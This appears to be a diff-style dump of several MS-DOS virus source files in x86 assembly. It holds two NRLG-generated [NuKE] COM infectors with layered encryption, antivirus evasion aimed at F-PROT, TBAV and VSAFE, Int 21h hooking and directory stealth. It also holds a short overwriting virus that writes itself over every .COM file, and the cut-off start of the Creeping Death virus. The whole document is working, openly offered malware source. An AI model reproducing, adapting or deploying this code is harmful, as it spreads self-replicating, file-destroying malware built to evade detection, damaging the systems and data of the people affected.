pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
+444
View File
@@ -0,0 +1,444 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc word ptr [di]
add word ptr [di],08c7h
sub byte ptr [di],0c6h
add word ptr [di],0e613h
inc word ptr [di]
sub word ptr [di],05511h
not byte ptr [di]
xor word ptr [di],0ef35h
sub word ptr [di],03e9bh
inc word ptr [di]
add byte ptr [di],083h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿsub byte ptr [di],083h
dec word ptr [di]
add word ptr [di],03e9bh
xor word ptr [di],0ef35h
not byte ptr [di]
add word ptr [di],05511h
dec word ptr [di]
sub word ptr [di],0e613h
add byte ptr [di],0c6h
sub word ptr [di],08c7h
dec word ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
+444
View File
@@ -0,0 +1,444 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿadd byte ptr [di],097h
add byte ptr [di],03h
not word ptr [di]
inc byte ptr [di]
xor byte ptr [di],0a8h
add byte ptr [di],088h
xor byte ptr [di],068h
sub byte ptr [di],04ah
sub word ptr [di],06023h
xor word ptr [di],06e4ch
sub word ptr [di],04620h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿadd word ptr [di],04620h
xor word ptr [di],06e4ch
add word ptr [di],06023h
add byte ptr [di],04ah
xor byte ptr [di],068h
sub byte ptr [di],088h
xor byte ptr [di],0a8h
dec byte ptr [di]
not word ptr [di]
sub byte ptr [di],03h
sub byte ptr [di],097h
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
+59
View File
@@ -0,0 +1,59 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ COPYR ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Passes: 5 Analysis Options on: AFOP ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 9Eh ; (996E:009E=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
COPYR proc far
start:
mov ah,4Eh ; 'N'
mov cl,20h ; ' '
mov dx,offset data_3 ; (996E:0128=2Ah)
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
loc_1:
mov dx,data_1e ; (996E:009E=0)
mov ax,3D01h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
mov dx,offset ds:[100h] ; (996E:0100=0B4h)
mov cl,2Eh ; '.'
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_1 ; Jump if carry=0
int 20h ; Program Terminate
data_3 db 2Ah
db 2Eh, 43h, 4Fh, 4Dh, 00h
COPYR endp
seg_a ends
end start
+558
View File
@@ -0,0 +1,558 @@
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
dir_2 segment byte public
assume cs:dir_2, ds:dir_2
org 100h
start:
mov sp,600h ; Set up the stack pointer
inc word ptr counter ; Generation counter
xor cx,cx
mov ds,cx ; DS points to interrupt table
lds ax, ds:[0c1h] ; Find interrupt 30h
add ax,21h ; Change it to Int 21h
push ds ; Save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; Get DOS version
call jump
cmp al,4 ; DOS 4.X+ : SI = 0
sbb si,si ; DOS 2/3 : SI = -1
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
; "never accessed"
mov bx,60h ; Adjust memory in ES to
mov ah,4ah ; BX paragraphs.
call jump
mov ah,52h ; Get DOS List of Lists
call jump ; to ES:BX
push es:[bx-2] ; Save Segment of first MCB
lds bx,es:[bx] ; DS:BX -> 1st DPB
; (Drive parameter block)
search: mov ax,[bx+si+15h] ; Get segment of device driver
cmp ax,70h ; Is it CONFIG? (I think)
jne next ; If not, try again
xchg ax,cx ; Move driver segment to CX
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
mov di,[bx+si+13h] ; Save offset of device driver
; Original device driver
; address in CX:DI
mov [bx+si+13h],offset header ; Replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; Get next device block
cmp bx,-1 ; Is it the last one?
jne search ; If not, search it
jcxz install
pop ds ; Restore segment of first
mov ax,ds ; MCB
add ax,ds:[3] ; Go to next MCB
inc ax ; AX = segment next MCB
mov dx,cs ; DX = MCB owning current
dec dx ; program
cmp ax,dx ; Are these the same?
jne no_boot ; If not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; Increase length owned by
; MCB by 1552 bytes
no_boot: mov ds,dx ; DS = MCB owning current
; program
mov word ptr ds:[1],8 ; Set owner = DOS
mov ds,cx ; DS = segment of original
; device driver
les ax,[di+6] ; ES = offset int handler
; AX = offset strategy entry
mov word ptr cs:str_block,ax ; Save entry point
mov word ptr cs:int_block,es ; And int block for use in
; function _in
cld ; Scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; Wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; Save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; This is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw
mov dx,0c000h ; Scan for hard disk ROM
; Start search @ segment C000h
fdsk1: mov ds,dx ; Load up the segment
xor si,si ; atart at offset 0000h
